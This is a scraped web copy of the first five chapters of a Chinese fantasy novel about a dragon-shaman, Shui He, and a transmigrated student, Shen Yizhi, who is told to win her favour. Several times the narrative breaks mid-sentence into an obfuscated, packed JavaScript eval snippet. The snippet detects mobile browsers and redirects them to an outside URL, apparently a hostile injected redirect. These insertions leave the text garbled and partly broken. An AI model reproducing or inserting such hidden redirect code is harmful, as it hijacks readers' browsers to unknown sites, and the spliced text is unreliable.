《顶替女主白月光后》 1. 第 1 章 更深露重,霜华浓。 天寒地冻的没什么好景色,梅山宗负责撒扫的修士比之往日也懒散了许多。 水禾坐在月台里,不施粉黛,不画娥眉,三千烦恼丝尽数披散在肩头,将一双眉目都掩在潇潇风雪中,听着霜雪落在砖瓦上的声音,喝着一杯简朴的清茶。 明日起,她就要成为容国新任国巫了。 水禾原本想着,一国之巫大约就是闲来无事卜算一下国运与天气。 可当她离开清清山,真正来到教习国巫宫廷礼节的梅山宗,水禾才蓦然发现,上贼船易,下贼船难。 梅山宗是容国的国教,是极为内敛克制的修行教派,宗内一直有着清心不避世,入世不自傲的宗规。 自立宗以来,出身于梅山宗的国之重臣不胜枚举,而清清山与梅山宗的交集除了向容国荐举国巫以外,便再无其他。 在清清山时,司岳曾同水禾说过,梅山宗穷极无聊,无以自遣,若是待得久了,再活泼的人也难免受影响变成一个无聊的闷葫芦。 入宗的第一日,水禾就深深地感受到了梅山宗的古板无趣。 才下了车撵,守在梅山宗门口的小修士便不由分说地给她戴上了一只抑制灵力的镯子,使她无法自如使用灵力,与一普通人无异。 不仅如此,梅山宗弟子丝毫没有见了国巫应有的敬重,反而一个个对水禾妖兽的身份嗤之以鼻。 习惯了清清山悠然自得的生活,再面对一眼望得到头的国巫生涯,水禾顿感蛟生无望。 叹了声气,呷了口清茶,那张清瘦俊逸的面庞缓缓在脑海中浮现。 水禾握住瓷杯的手指无意识地缓缓倾斜,一部分茶水泼洒出来,温热的茶顿时将脚边的积雪融化成为雪水。 入宫为官并非水禾所愿,但只要能再次见到司岳,哪怕仅一面,就算上刀山下火海她也情愿。 “翌日便是国巫大人册封之日,老朽特来恭贺。” 喑哑苍老的声音自远方传来,扰乱了水禾飘散的思绪,却并不见人影,水禾懒得搭理,兀自在面前的棋盘上摆弄黑白分明的棋子。 咯吱咯吱—— 窸窣的踩雪声渐渐近了,一个形容枯槁的老者撑着纸伞走进了这场风雪,因他白衣白发,远远地看去,便与这漫天的冬色融为了一体。 水禾感到厌烦,一抬手用力地将棋子掷进棋篓里。 “惺惺作态。” 水禾说话时并不看向老者,只是手指在瓷杯上来回摩挲,腕上的玉镯随她的动作磕碰在桌案上,发出清脆的撞击声。 永巍笑了笑,轻轻抖落了伞上的霜雪,而后收起纸伞,佝偻着钻进月台内。 他说:“当年那个奄奄一息的小蛟龙竟摇身一变成为容国国巫,也不知司岳在天之灵会不会为你高兴。” 水禾的瞳孔一颤,却沉默着不再接他的话,恹恹地收了棋盘,又给对面倒了一杯冒着热气的清茶。 如果司岳真的有在天之灵,只怕不但不会为她高兴,反而要冷着脸数落她罢。 数落她不该贸然离开清清山,不该以身犯险与容国有所牵扯。 水禾轻轻合上双眼,耳边便好似回荡着司岳的声音。 坐在桌案对面的永巍微微一笑,将藏在袖袍里的手伸了出来,他的手指如同槁木,干枯且没有血色,却紧紧握着白瓷杯,试图用温热的茶水暖和一下冻得僵硬的手指。 “我知道司岳于你而言何其重要,”他眯着眼,缓声道:“我身为司岳的师兄又何尝不怀念他,但木已成舟,今日你已然走到这一步,是半途而废还是以身入局,皆在你一念之间。” “那你之前答应我的当真作数?”水禾拧眉,平日里总是冷着的一张冰山脸难得有了些情绪波动。 “千真万确。” 永巍语气淡然,叫人听不出一丝异样的情绪。 水禾低头静静地望着白瓷茶杯里翠色的茶水,一根茶叶随着茶水的波动而荡漾,一如她此刻摇摆不定的心。 她想再见一眼司岳,想得几乎快要失去所有理智。 司岳走了三百年,水禾便在清清山守了三百年,三百年间朝代更迭,万物轮转,时间将一切冲刷抹消,却将司岳的名字一寸寸地刻进了水禾的骨血。 思念化作啃噬人皮肉的小虫,将水禾折磨得颓然破败,直到永巍某日出现,告诉她这世间还有一个法子能使司岳起死回生。 带着渺茫的希冀与念想,水禾毅然离开了清清山,孤身一人来到从未涉足的容国。 她怔愣了良久,转头望向月台外的风雪,面上无喜也无悲。 不管再次见到司岳是何种场景,不管司岳是否埋怨她一意孤行,而今木已成舟,她无论如何也要再见司岳一面,无论如何也要站在他的面前。 彼时,她或许会轻抚着他的眉眼,轻声诉尽绵绵情意长。 风雪愈发肆虐,永巍杯中的茶水冷了下来,他笑吟吟地举杯向水禾敬茶,可水禾看得真切,他的笑意根本不达眼底。 “祝国巫大人和老朽都能得偿所愿。” 话音才落,永巍高举水杯,饮酒般一饮而尽。 水禾一脸漠然地凝视着杯中的茶水,却当着永巍的面将杯中物尽数倒在了月台外的雪地上,永巍仍旧笑着,苍老的脸上遍布沟壑。 如今水禾的灵力尽数被腕上的紫玉镯所禁锢,她对永巍再构不成一丁点威胁,任她如何发泄心中的不忿,永巍都只一笑而过。 水禾这条即将化龙的大蛟,竟也会为了一个无足轻重的人,甘愿放弃自己的似锦前程。 永巍微微颔首,想要讥笑水禾,最终却只发出一声自嘲的笑。 茫茫人世间,所爱隔山海,他又何尝不是为了自己的一己之私而饱受折磨。 一阵死寂过后,无端漫起了一场狂暴的风雪,卷起月台外盎然的红梅,迷了水禾的双眼,细碎的脚步声,混着浅啸而过的袖风,几乎掩过了老者苍白的声音。 “十年内,若容国相安无事,我自当履行承诺。” 夜色凄清如墨,梅山宗内弥漫着让人窒息的压迫感。 这是沈夷之穿书而来的第五日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924978|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个沈家倾巢而出,势必要将他捉回沈家。费劲周折才逃出蜀南沈氏,为了躲避无处不在的沈氏家仆,沈夷之慌不择路,夜闯梅山。 毫无感情的机械声音在脑子里忽地响起:【宿主您好,我是您的专属穿书系统,编号20498。】 冰天雪地里,正吭哧吭哧往山上爬,冻得瑟瑟发抖的沈夷之蓦地愣住。 天杀的,他一没熬夜猝死,二没故意作死,怎么好端端地轮到他一个青春男大穿书了!? 系统:【嘿嘿,开业大酬宾,穿书福利送到您。】 嘿嘿……嘿你个大头鬼,沈夷之风中凌乱,短短一瞬间,他连家里养的大肥猫的后事都想好了。 而系统则精准地预料到了沈夷之脑子里的想法,它补充道:【宿主请放心,由于咱们送的只是个穿书体验劵,您的穿书体验不会超过一天,穿书世界里的时间流速与真实世界呈千倍正比。】 沈夷之松了一口气,却忽地想到他的穿书体验貌似和网文小说里描述的有些出入,话说这已经是他穿书而来的第五天了,为什么系统现在才现身。 “我穿书来的前五天你干嘛去了?”沈夷之没好气地质问系统。 沈夷之穿书来的第一天系统还未出现,沈夷之便以为是自己误入了什么整蛊节目,四处告诉那些穿着古装的“工作人员”,今天早八,能不能放他这个徘徊在挂科边缘的大学牲回去上课。 沈氏上下乱作一团,纷纷觉得沈夷之是入了魔障,沈母更是急出了病,不仅三番五次请法师到府内为沈夷之驱魔,还将他关在房间里派人严加看守。 没有电子设备,没有打发时间的娱乐活动,沈夷之简直度日如年。 【呃……在别的穿书剧本里收到了穿书者的投诉,我去处理了。】系统老实巴交全盘托出,而后话锋一转,为沈夷之提供这个世界的信息:【宿主所穿书的是年度玄幻巨作‘化龙’的世界。】 【书里有个跟你同名同姓的炮灰男配沈夷之,是权贵氏族蜀南沈氏家的纨绔公子哥,因为对女主水禾爱而不得险些害她丧命,被正义男二肃清了。】 沈夷之汗颜:“这也太炮灰了吧!” 【而宿主您本次穿书体验的任务就是——成功攻略女主水禾,为炮灰男配了结心愿。】 “呃……” 有没有搞错,让他一个母胎单身的清纯男大去攻略女主,还是为别的男人攻略的。 这算什么? 给别人做嫁衣? 这穿书体验未免太憋屈了吧,沈夷之无语凝噎,暗暗记下了系统的工号,“麻烦先告诉我一下怎么投诉。” 脑子里的机械音一瞬间爆发出刺耳的杂音,竟让沈夷之从中听到了些许属于人的情绪。 【好说好说!我这就为宿主把主线任务更改为吃喝玩乐!】 “少诓我!快点给我改一个难度适中的任务好放我回去。” 面对沈夷之的投诉威胁,终于激起了系统强烈的求生欲,它连忙改口:【由于穿书体验时间有限,只需将女主好感度提升到60即可。】 2. 第 2 章 只需将女主的好感度提升到60,这种程度既不会让沈夷之感到回家之路遥遥无期,也不会令他毫无游戏体验。 系统更改后的任务的确符合沈夷之心中对难度适中的想象。 沈夷之张了张嘴还想再问系统一些有关攻略女主的小技巧,譬如女主爱吃的,爱玩的,可话还未说出口,却听系统用生硬的机械音发出一声如释重负的长叹。 【宿主,咱们抓紧时间,我这就送您到女主身边。】 啊? 沈夷之木讷地抬头望天,此时月黑风高,风雪交加,现在出现在女主身边,很难不让人误会他居心叵测啊喂! 然而系统那方已然开始发力,沈夷之顿时感到一阵强烈的抽离感。 再睁开双眼时,簌簌的风声不绝如耳,皎洁的明月仿佛触手可及,紧接着就是如约而至的失重感。 沈夷之正从高高的天际往下坠落。 他有合理的理由怀疑眼前所发生的一切根本不存在于原小说剧情中,而是那个天杀的系统故意报复。 仍在下坠的沈夷之默默闭上了双眼,他发誓,此仇不报非君子,若是能活着逃回现实世界,他一定要喊市场监管局来好好查一查这什么劳什子穿书体验馆。 还有那个系统,沈夷之决定逃出穿书世界的第一件事就是投诉它。 尽管沈夷之不敢低头查看自己坠落到了什么位置,但四周赫然出现的树杈提醒着他,他和地面的距离已然十分接近,只怕再有几秒,沈夷之就要和地面亲密接触了。 沈夷之双手合十,心中前所未有的虔诚。 信徒沈夷之,愿一生荤素搭配,祈求自己不要死得太难看。 耳畔传来一声闷哼,沈夷之感到自己落入了一个温软的怀抱,但他不敢贸然睁眼,只怕又是系统戏耍他。 “师尊……” 谁? 沈夷之以为自己幻听,想象中的死亡之前的走马灯并未发生,剧痛的感觉也并未如约而至,难道是他死得太快,连该有的流程都省略了? 他决定大着胆子睁开眼看看阴曹地府究竟长什么样子。 沈夷之慎之又慎地将眼睛眯开一条缝隙,却望见一双此生他所见过最美的双眼。 熠熠红烛映着水禾的脸,像是一朵洁白的梨花,纤尘不染,清新绝俗,迷蒙的眼中似乎藏着水露。 只是那眉间含着轻愁,眼中蕴着惊喜与诧异。 沈夷之一怔,这才注意到自己此时正整个人仰躺在陌生女子的怀中。 忙挣扎着起身,站定后,沈夷之赧然抬头,却见那女子仍目不转睛地盯着他的脸,她眼眶湿润,眼尾泛红,一副泫然欲泣的样子。 沈夷之何曾见过这个场面,他手忙脚乱,先是不自在地摸了两把自己的脸,而后又无所适从地围着那女子绕了两圈。 她是见了沈夷之的脸后才有这么大的反应,老实说,有那么一瞬,就连沈夷之自己都有些怀疑自己,是不是他丑得惨绝人寰才吓到了这位姑娘。 沈夷之清了清嗓子,试探着问她:“姑娘……你没事吧?” 面无表情的水禾站在原地沉默了良久,眼前这张她再熟悉不过的面容曾是她日思夜想都想再见一面的脸,而今毫无防备地再次出现在眼前,水禾竟说不出一句话来。 她攒了千言万语想说给司岳听。 她想告诉司岳,他亲手在清清山种下的花她悉心照料,而今都已经花团锦簇;她想告诉他,她潜心修炼,如今离化龙只差一步;她还想对他说,他能回来,她很欣喜。 说不尽道不完的话一齐涌到嘴边,水禾却一个字也说不出口,她就这样静静地伫立在原地,任飘忽的风雪落满她的肩头。 “姑娘,姑娘?” “你叫我什么?”水禾回过神来,眸子里满是不可置信。 沈夷之张嘴正要解释,水禾却蓦地一步上前,冰凉的手指攀上沈夷之的双手,力度之大令他一个身强力壮的成年男子也无法挣脱。 水禾的灵力虽被腕上的紫玉镯禁锢,但她身为妖兽,即便是失去灵力也要比寻常人族强些。 她紧紧握住沈夷之的腕子,在探清他的身份后,水禾原本清亮的眸子一瞬间变得黯淡无光。 眼前的“司岳”并不是无所不能的妖兽,而是毫无灵力的普通人族。 水禾此时才反应过来,眼前这个“司岳”出现得过于突然,以至于水禾一时之间惊喜得忘乎所以,甚至连正常思考也忘却了。 霎时间,水禾五指成抓狠狠掐住沈夷之纤细的脖颈。 司岳是她心中不可触碰的白月光,水禾不允许任何人以任何理由顶替他的面容和身份。 沈夷之的脸顿时吓得惨白,水禾钳制在他脖颈的手并不紧,甚至还贴心地给他留了些呼吸的空间,但沈夷之能感受到她停留皮肤上的指尖纤长而尖利。 只要他说错一句话,水禾锐利的利爪便能够轻易地划破他的脖子。 “姑娘,这其中是不是有什么误会,你先放开我,我们好好谈谈啊。” 水禾丝毫不理会沈夷之的窘迫,她一言不发地盯着眼前这张与司岳何其相似的脸,企图能找出一丝破绽。 然而出乎水禾意料的是,从耳后到细枝末节处,这张脸依旧毫无破绽,甚至连鼻尖的小痣都和司岳如出一辙。 不止是相像,简直是和司岳长得一摸一样。 水禾想,定然是眼前这个不知名的妖兽化形时无意中找了司岳的画像作为依照,这才将司岳的面容一点不差的复刻了一遍。 可转念一想,她又才探查过这人的气息,浑身毫无半点灵力的迹象,应当就是一个普普通通的人族。 水禾想不通世上还有什么原因能令两个毫无关系的人长得如此相像。 冰冷的手缓缓离开沈夷之的脖子,沈夷之吓得惨白的脸渐渐恢复了些血色,他小心翼翼地挪了挪麻木的双腿,试图让自己的样子显得不那么尴尬局促。 晚风穿过廊坊,吹进四面透风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924979|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的月台,冻得沈夷之缩了缩脖子,“女侠……我无意叨扰,能否饶我一命放我离开……” 水禾却旁若无人地越过沈夷之,端起桌案边的瓷杯,冷着脸反问他:“你是何人,胆敢擅闯梅山宗?” 被冷风吹得瑟瑟发抖的沈夷之站在皑皑白雪之中,看着一脸漠然的水禾急得额角冒汗。 “我说我是穿书来的,你信不信?” …… 【宿主你白痴啊,就这么干脆利落地自爆了???】沉寂了许久的系统突然爆发出一阵刺耳的啸叫声。 沈夷之摆出一副无所谓的样子,穿书又不是他自己的本意,只要能保命,别说自爆了,让他给眼前这个女人洗衣做饭都可以。 状况外的水禾却歪了歪脑袋,“穿书,那是什么?” 天下之大,妖兽的族群种类数不胜数,若是有水禾所不知的妖兽族群也是理所应当,但水禾知道这人并非妖兽,想必是他有意胡诌蒙骗。 “穿书就是现实世界的人穿越到某部小说里,成为书里的人。” 话音才落,却见水禾的脸蓦地变黑,她固然知道沈夷之在胡言乱语,却并不知道他的口中竟会说出这般令人匪夷所思的话来。 还不待水禾言语,沈夷之却继续补充道:“我在这个世界的身份是蜀南沈氏的公子,蜀南沈氏知道吧,就是那个富得流油的氏族大家……” 若是从前,水禾定然不知晓这些名字背后的家世背景,但自水禾来到梅山宗之后,永巍教习水禾国巫礼节的同时,还要她谨记容国所有的权贵。 水禾背得滚瓜烂熟,她知道蜀南沈氏乃容国大族,其现任家主沈知逸身为开国元老之一,倍受尊崇,其受民爱戴程度极高,却在某日下朝后突然向君王请辞告老还乡。 沈知逸与夫人育有一独子,其子沈夷之养尊处优,嚣张跋扈,乃是容国纨绔之首,却与容国君王之妹,容国最尊贵的郡桃公主结有姻亲。 只是水禾依然不能理解,为何蜀南沈氏的小公子会夜半出现在梅山宗,他又为何会和司岳长得如此相像? 究竟是不是蜀南沈氏之子,由见多识广的梅山宗长老永巍一见便知。 沈夷之那方仍在喋喋不休,水禾却倏地从软塌上站起,她一把抓住沈夷之的衣领,不由分说地便拽着他往永巍的住处领。 沈夷之知道自己挣脱不开这个怪力少女的束缚,便也老老实实地跟着她走。 水禾见他这般乖顺,自觉松开了他的衣袖,二人一前一后走在白茫茫的霜雪之中,凄清的月色铺在雪上,像是被撒了层细小的星辰,散发出细碎的光芒。 大概是觉得自己的穿书体验过于倒霉,沈夷之跟在水禾身后小声嘀咕了一句:“什么鸟不拉屎的梅山宗,这里这么大,要怎么找到那个攻略对象啊?” “鸟不拉屎的梅山宗?”水禾挑眉。 沈夷之惊觉自己失言,正要解释,却被水禾倏地打断了。 水禾闷声道:“英雄所见略同。” 3. 第 3 章 永巍的住处是梅山山侧的一个简朴草庐,草庐周围没有墙,只有一圈简陋的篱笆。守在草庐外的梅山弟子听到踩雪声便迎上前为二人开了门。 见到来者是新任国巫领着一个并不相熟的男子,那弟子语气冷硬道:“长老已经歇下了,还请国巫大人明日再来。” 水禾冷冷地看了那弟子一眼,兀自上前将那摇摇欲坠的篱笆门一脚踹开,扬声呼唤草庐内的永巍,“臭腾蛇,给我出来!” 永巍的原型是条腾蛇,偌大的梅山宗只有水禾一人敢这么称呼他,永巍也从未制止过她。 “吱呀”一声,苍老的永巍推开竹门,借着不甚明亮的月色,水禾看到他微微笑着的脸,那双灰暗的眸子在看清水禾身后的那张脸时闪过一丝惊诧,但那神色闪得极快,一瞬间便又归于平静。 “国巫大人,又见面了。” 水禾懒得同他装模作样,拎着沈夷之的衣领像是拎小鸡仔一般将他推到永巍面前。 “臭腾蛇,他是谁?为何会跟司岳长得一模一样?”水禾冷着一张脸,语气几近质问。 永巍依旧淡淡笑着,他先是默不作声地邀请水禾和沈夷之进草庐内一坐,又故作神秘地支开门外的梅山弟子。 就在水禾以为他要说出什么惊天大秘密时,却听永巍避重就轻道:“国巫大人明早便要赶赴大典,而现在夜半三更却与男子私会,这于礼不合。” 话音未落,水禾忽地从座位上弹起来,将一双拳头攥得咯吱吱地响,她强忍住想要将永巍掀翻在地的冲动,恨恨地掰了掰指节,忍无可忍,便却举起手臂用力捶向面前的桌案。 “轰”地一声巨响,木质小桌顷刻间碎成一地粉末,原本端坐在小桌另一头的沈夷之顿时如坐针毡。 被桌布掩住的双腿不住地打颤,此时此刻,沈夷之的脑海中只浮现出那句“我好想逃,却逃不掉”。 永巍越是对沈夷之与司岳一模一样的样貌避而不谈,水禾便越是觉得这条老腾蛇的心中有鬼。 还不待水禾心里的怒火平息,永巍却重重地长叹一声,仿佛这声长叹就消磨尽了他全身的气力。 永巍瞥了一眼坐得僵直的沈夷之,说:“他是蜀南沈氏独子沈夷之,而非清清山司岳。” 得到永巍的回答,水禾的眸子似乎泛起了不易察觉的水光,她不敢再回头看沈夷之一眼,现下她只想知道这个所谓的蜀南沈氏独子为何会与她的师尊司岳长得如此相像。 “老朽与沈氏家主沈知逸交好,沈公子出生时老朽还曾亲自登门恭贺,当时便见沈公子与司岳有几分相似,只是不曾想,过去了这么多年,沈公子竟与司岳长得一模一样了。” 水禾没耐心继续听下去,转头斜睨了一言不发的沈夷之,质问他:“你此生可曾见过司岳?” 沈夷之一怔,别说见过司岳了,就连司岳这个名字他都闻所未闻,他不过才穿书没几天,天知道他为什么会和书里一个素不相识的人长得一样。 要沈夷之说,现在不要再纠结什么长得相不相似的问题,速速让他找到所谓的女主,尽快提升好感度,好让系统放他回现实才是正事。 可眼前两位的气场显然不是一般人,沈夷之人微言轻,张了张嘴,只能干巴巴地回水禾一句:“没见过。” 水禾闻言挑眉,却将沈夷之吓得从座位上站起,他步步后退,水禾亦步亦趋,直将沈夷之逼到了墙角才作罢。 “国巫大人,他腰间的佩玉确实是蜀南沈氏的传家之宝。”永巍出言提醒。 话音才落,水禾垂眸往沈夷之腰间望去,却见金镶玉的腰带上正如永巍所说挂着一块通体温润的玉佩,一眼望去便能看出其价值连城。 水禾一言不发,又往前两步死死瞪着沈夷之,企图能在他惨白的脸上看到一丝破绽。 长衫之下的双腿抖如筛糠,一双酷似司岳的双眼此时怯懦地紧闭着。 水禾心下了然,默默后退一步拉开了与沈夷之之间的距离,心中仅存的一点希冀都被沈夷之此时的表现抹消了。 一生凛然无畏的司岳直到化作飞灰也未曾流露出半分畏惧的神色,水禾垂眸,长长的睫羽掩去了眸中的失落,眼前这个叫做沈夷之的男子当真并非司岳。 短短的一个时辰内,水禾的心情跌宕起伏,最后直直坠入谷底。 既然他并非司岳,水禾也没有了继续与他纠缠下去的理由,再有不多时辰便要上朝奔赴册封大典,水禾懒得再多费口舌,淡漠地转过身就要离开草庐。 永巍并不阻拦,只是在水禾离开后神色黯然地打开了窗子。 呼啸的寒风从大开的窗子灌进来,燃了整夜的红烛仅剩半截发黑的灯芯在狂风中摇曳着,火光由长影化作一个小点,投射出的阴影不断地在墙面上缩短拉长。 银色的月华不知何时悄然落下,天将明,雪将至。 沈夷之站在温暖如春的墙这边,透过窗子望着水禾渐行渐远的背影长抒一口气,来不及放松,身后又传来虚浮拖沓的脚步声。 永巍眯眼笑着,问沈夷之:“沈公子夜半来访,所为何事?” 沈夷之迟疑地转过身,与面前白发苍苍的老者对视,相比于气势咄咄逼人的水禾,他还是觉得慈眉善目的老者更好相处。 他朝着永巍恭恭敬敬地躬身,行了个不太周正的常礼,坦然道:“我来找人。” “哦?梅山宗竟还有风流倜傥的沈公子不惜深夜冒雪上山也要找的人?” 沈夷之听出永巍话里揶揄的意味来,却也顾不得那么多,他只记得那个极不靠谱的系统跟他说过,他所要攻略的女主貌似是叫水禾。 “对,我要找一个叫做水禾的人。” 永巍挑眉,长长的眉毛也因为这细微的动作而抖动,他淡然道:“偌大的梅山宗只有一个水禾,正是方才离开的那位。” 沈夷之哑然,原来系统所说的送他到女主身边正如字面意思那般直接粗暴,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王座上的君王看清了水禾的脸,忽而风轻云淡地笑了一声,道:“国巫大人养在清清山多时,今日终于得见。” 满朝文武百官闻言哄然大笑。 一个“养”字,将水禾比作是家养的宠物,君王的对妖兽的蔑视不加掩饰,满朝大臣乱作一团,他也丝毫不加以阻拦。 血气方刚如水禾,一下被愤怒冲昏了头脑,经外奇穴开始不受控制地突突乱跳,纤细的脖颈上青筋暴起。 理智告诉她要听司岳和永巍的话,忍一时风平浪静,但不断往脑子上冲的热血却一直挑唆着水禾的神经。 极致的忍耐使她开始有些头晕目眩。 “文武百官们误会了,新任国巫并非妖兽。” 一道清亮的声音自人群之中传来,犹如一把利剑,划开了遮天蔽日的云雾。 水禾闻声回首,见一身穿宽袖长袍官服的男子姗姗来迟,他肩头落了一层薄薄的雪,濡湿了肩膀及后背的衣料。 还未等水禾看清他的眉目,一大腹便便的文官闻言踏步上前,他无礼地凑到水禾面前,遮蔽了室内本就不明亮的烛光。 “又是宋暮你这毛头小子,你可知历来国巫皆是妖兽,你凭什么大言不惭地说这个女子不是妖兽所化啊?” 那个大臣口中唤作宋暮的男子忽而轻声笑了起来,如环佩叮当,洋洋盈耳。 4. 第 4 章 宋暮身穿锦鲤红的官服,身形挺拔如梅骨,他在大殿正中央站定,向王上行了跪拜礼后便目不斜视地径直走向水禾,他在水禾面前停下,背对着她,好似一堵不可跨越的高墙。 他对大臣笑道:“是或不是,一试便知。” 大臣嗤笑:“笑话,众位大臣且说说看,要如何验妖兽的身份啊?” 文武百官面面相觑,王座上的君王却玩味地看着朝堂上发生的一切。 宋暮眼眸一弯,顿生粼粼水光,语不惊人死不休,“赵大人该知道,我也是妖兽罢?” 水禾挑眉,微微仰头,细细端详起宋暮的背影,他身形颀长,儒雅风流,想来是灵力高深莫测才能化得如此完美的外形。 在来到容国之前,水禾一直以为人族与妖兽水火不容,就连梅山宗也只允许身为当朝国巫的妖兽才能入内,她竟不知,原来容国的朝堂之上还正大光明地存在着另一只妖兽。 朝堂之上针锋相对,剑拔弩张,却始终不见一国之君主持公道。 水禾不动声色地观察了朝堂内各位大臣权贵的反应。 有以宋暮为首的一众文武忠臣屹立于他的身后,有簇拥在王位左右以君王马首是瞻的权贵,还有的朝臣藏匿于不易察觉的阴影之中一言不发地静观其变,伺机而动。 朝堂之中暗流涌动,比之真正的战场还要惊怖可憎。 宋暮转身面对着水禾,虽居高临下,但态度却不令人生厌,他沉默地看着水禾,忽而从阔袖中取出了一颗晶莹的珠子。 “国巫大人,多有冒犯。” 水禾睨了那珠子一眼,心中忧虑,偌大的容国内她只与永巍一人相熟,眼前这个唤作宋暮的妖兽极有可能是朝臣戏弄她的其中一环。 水禾不怕鱼死网破,也不怕被当做文武百官的笑柄,她只怕被革去国巫一职赶回清清山去,再也无法从永巍那里得到司岳重生之法。 水禾淡漠地昂起头与宋暮对视,却见宋暮轻巧地笑了笑,抬手往那颗珠子里注入灵力。 他手中光芒乍现,并不刺眼,却让在场的所有大臣们感到莫名的燥热,就连水禾也不例外地开始额头冒汗。 “国巫大人,请将手放在灵珠之上。”宋暮面上虽笑得春风化雪,声音却清清淡淡不含一丝情绪。 水禾照做把手放在了灵珠上,灵珠表面触手生温,在这样严寒的天气倒是一个暖手神器。 按照宋暮的指令将手移开后,水禾的手心却不知何时被灼伤了一块,殷红的血从伤口渗出,沿着水禾的指尖滴滴答答地落在大殿玄色的石板上。 宋暮摊开手心向众人展示珠子,清亮的声音回荡在正殿的每一个角落:“诸位且看,我乃祥兽玄鸟,属火,方才我朝这灵珠内注入了灵力,邪祟妖兽最受不得这至阳之火,在我的灵力之下都会现出原型,而国巫大人的表现理应是人族。” 赵大人偏又不依不饶地叫嚣起来:“什么劳什子至阳之火,怕是你们两只妖兽一早串通好的!” 宋暮唇角微扬,一拂手,阔袖中便飞出了一团绿色的火焰,那火焰像是长了眼睛似地只追着赵大人跑。 脑满肠肥的赵大人逃不脱,一下被火焰灼伤了屁股,血从伤口渗出,将他锦鲤红的官服也染成了暗红,赵大人吃痛,忙不迭求饶。 “寻常人碰了我的灵火最多只会被灼伤,妖兽却会现出原形,有劳赵大人为众大臣以身试灵火了。” 满朝文武百官面面相觑,他们是蔑视粗鄙无礼的妖兽不错,可那妖兽也有可举之处,历代国巫都是由清清山举荐妖兽任职,如此持续了千百年。 若是真如宋暮所说的那般,新任国巫被一介凡人顶了职,她拿什么来推算占卜国运? 水禾不知宋暮的葫芦里究竟卖的什么药,正要开口辩驳,宋暮却先她一步—— “启禀王上,历代国巫皆由清清山举荐,梅山宗教习,两方势力共同推举出的新任国巫想必定有过人之处,但梅山宗终归失责,臣亦失察,还请王上网开一面,准许臣以妖兽之力辅佐新任国巫。” 宋暮的话悉数落入耳中,水禾听得半张着的嘴巴都忘记合了起来。 水禾为重生之法以身入局,原想着入宫成为国巫后即便不是坐拥天下财宝,起码也是声名鹊起,可今日才是她入宫的第一天,竟出了这样大的岔子,倒叫她不知接下来该如何行事了。 此时的水禾只想化为原型遁走,但一想到后果,她却又瑟缩在原地一动也不动了。 帝位上的君王将朝堂上发生的闹剧尽收眼底,却忽而风轻云淡地笑了起来。 “常人也好,妖兽也罢,入了容国的朝堂便都是我容国的忠臣,愿你们无论身份种族,都护佑我容国千秋万世。” 水禾一怔,跪伏下来。 “臣清清山水禾,必以身佑国。” 闹剧一般的册封大典就这样草草收场,下朝的时候,水禾被看不清面容的百官推搡着出大殿时还觉得仿若梦游一般。 君王无端的蔑视,官僚莫名的讽刺以及宋暮奇怪的举动,无一不令水禾感到无所适从,但只要脑海中浮现出那人眉目舒朗的面容,水禾便觉得天大的事也算不得事了。 只是那君王面对宋暮的请求答应得如此干脆,倒让水禾平白觉得自己是又被戏弄了一番。 往城门赶的时候,水禾有意往宋暮那方多看了两眼,宋暮被几位大臣簇拥着,似乎察觉到了水禾赤裸的视线,竟也看了过来,弯唇朝她点点头。 等宋暮和那些水禾记不清面孔和官职的大臣们一一道别后,偌大的宫墙下,空旷而寂寥,只剩下水禾长长的影子和形单影只的宋暮。 水禾初来乍到,王城富丽堂皇,没有小太监领着,水禾并不识得出城的路,她在原地踌躇了一会儿,见另一方的宋暮迈步正往她所在的方向走来,水禾却并不想与他攀扯上关系。 长叹一声,水禾随意选了条大路,大步流星转身要走。 惹眼的锦鲤红色忽地在眼前一晃,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大人……大人?”宋暮轻轻呼唤水禾,一面在她眼前摆摆手。 见水禾琥珀色的瞳仁重新聚焦在他身上,宋暮才拱手继续道:“朝堂暗流涌动,人人自危,还望国巫大人护好自己,也护好清清山。” 话音才落,他便干脆利落地转身离去,清晨温和的光束洒在宋暮锦鲤红的长衫衣角处,暗金色的绣纹熠熠生辉。 水禾留意了两眼宋暮离去的岔路口,待惹眼的红色消失在转角处,水禾才打了个哈欠,漫不经心地跟了上去。 打道回府,梅山宗一如往日一般宁静寂寥,扫雪的弟子瞧见了身着官服的水禾,懒懒地唤了声:“国巫大人。” 水禾才在朝堂上受了众人非议的委屈,心里正窝火,一抬脚就要将那小弟子扫成的小雪堆踹塌,可雪天路滑,她身形不稳,一脚插进雪堆里却怎么也拔不出来了。 弟子当即掩面,发出嗤嗤的笑声。 5. 第 5 章 沈夷之在永巍的草庐待了彻夜,直到清晨的第一束光穿过纸糊的窗子透进来,屋内的烛火已换了四五盏。 